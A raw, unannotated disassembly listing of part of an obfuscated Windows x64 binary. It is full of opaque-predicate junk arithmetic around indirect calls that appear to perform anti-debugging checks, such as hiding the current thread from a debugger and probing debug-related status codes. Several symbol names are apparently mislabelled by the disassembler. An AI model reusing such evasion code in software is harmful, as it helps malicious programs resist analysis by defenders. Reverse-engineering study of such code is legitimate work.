test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
mov rax, qword [r15]
mov r9d, r12d
mov r8, r12
mov edx, reloc.WS2_32.dll_recvfrom
mov rcx, 0xfffffffffffffffe
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400541aa
cmp edi, 0xc0000005
je 0x140054012
cmp edi, 0x80000002
je 0x140054012
mov rdx, r12
jmp 0x140054016
xor eax, eax
mov edx, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400540c8
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400540c8
mov r14d, esi
jmp 0x14005415e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054159
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x14005415e
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
mov rax, qword [r15]
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xffff
lea edx, [r9 + 0x11]
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx edx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add edx, ebx
movsx ecx, byte [str._b_t3p]
add eax, edx
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400543a4
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
xor eax, eax
cvtdq2pd xmm0, xmm0
cmp edi, 0xc0000008
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400542c0
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400542c0
mov r14d, esi
jmp 0x140054356
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054351
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140054356
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
mov rax, qword [r15]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 1]
call rax
mov r14d, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005459c
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
xor eax, eax
cvtdq2pd xmm0, xmm0
cmp r14d, 0xc0000024
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400544ba
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400544ba
mov edi, esi
jmp 0x14005454e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005454a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x14005454e
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
mov rax, qword [r15]
xor r8d, r8d
mov r9d, r12d
lea edx, [r8 + 0x11]
lea rcx, [r8 - 2]
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054796
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
xor eax, eax
cvtdq2pd xmm0, xmm0
cmp edi, 0xc0000004
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400546b1
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400546b1
mov r14d, esi
jmp 0x140054747
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054742
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140054747
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
mov rax, qword [r15 + 8]
lea rcx, [rbp + 0x6c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x6c]
mov rcx, 0xfffffffffffffffe
mov r9d, r12d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400549ad
test edi, edi
js 0x140054809
cmp dword [rbp + 0x6c], 1
jne 0x140054817
cmp edi, 0xc0000004
je 0x140054817
xor eax, eax
mov edx, eax
jmp 0x14005481a
mov rdx, r12
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400548cb
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400548cb
mov edi, esi
jmp 0x14005495f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005495b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x14005495f
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
mov rax, qword [r15]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call rax
mov r14d, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx edx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add edx, edi
movsx ecx, byte [str._b_t3p]
add eax, edx
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054fe4
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
not r14d
shr r14d, 0x1f
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mov eax, r14d
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054abe
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140054abe
mov edi, esi
jmp 0x140054b52
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054b4e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140054b52
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140054fe4
mov rax, qword [r15 + 8]
lea rcx, [rbp + 0x6c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x68]
mov rcx, 0xfffffffffffffffe
mov r9d, r12d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
mov r14d, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054dc2
test r14d, r14d
js 0x140054c14
cmp dword [rbp + 0x6c], 1
jne 0x140054c2c
cmp byte [rbp + 0x68], 0
je 0x140054c2c
cmp r14d, 0xc0000004
je 0x140054c2c
cmp r14d, 0x80000002
je 0x140054c2c
xor eax, eax
mov edx, eax
jmp 0x140054c2f
mov rdx, r12
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054ce0
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140054ce0
mov edi, esi
jmp 0x140054d74
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054d70
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140054d74
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
mov rax, qword [r15 + 8]
lea rcx, [rbp + 0x6c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x74]
mov rcx, 0xfffffffffffffffe
mov r9d, r12d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054fe4
test edi, edi
js 0x140054e3c
cmp dword [rbp + 0x6c], 1
jne 0x140054e4a
cmp dword [rbp + 0x74], 0x101
jne 0x140054e4a
cmp edi, 0xc0000004
je 0x140054e4a
xor eax, eax
mov edx, eax
jmp 0x140054e4d
mov rdx, r12
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054eff
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140054eff
mov r14d, esi
jmp 0x140054f95
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140054f90
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140054f95
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx edx, byte [reloc.WS2_32.dll_accept]
cmp eax, edx
je 0x1400551df
mov rax, qword [r15 + 8]
lea r8, [rbp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call rax
xor ecx, ecx
xorps xmm2, xmm2
cmp eax, 0xc0000004
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
sete cl
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvtsi2sd xmm2, rcx
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400550fe
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400550fe
mov edi, esi
jmp 0x140055192
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005518e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
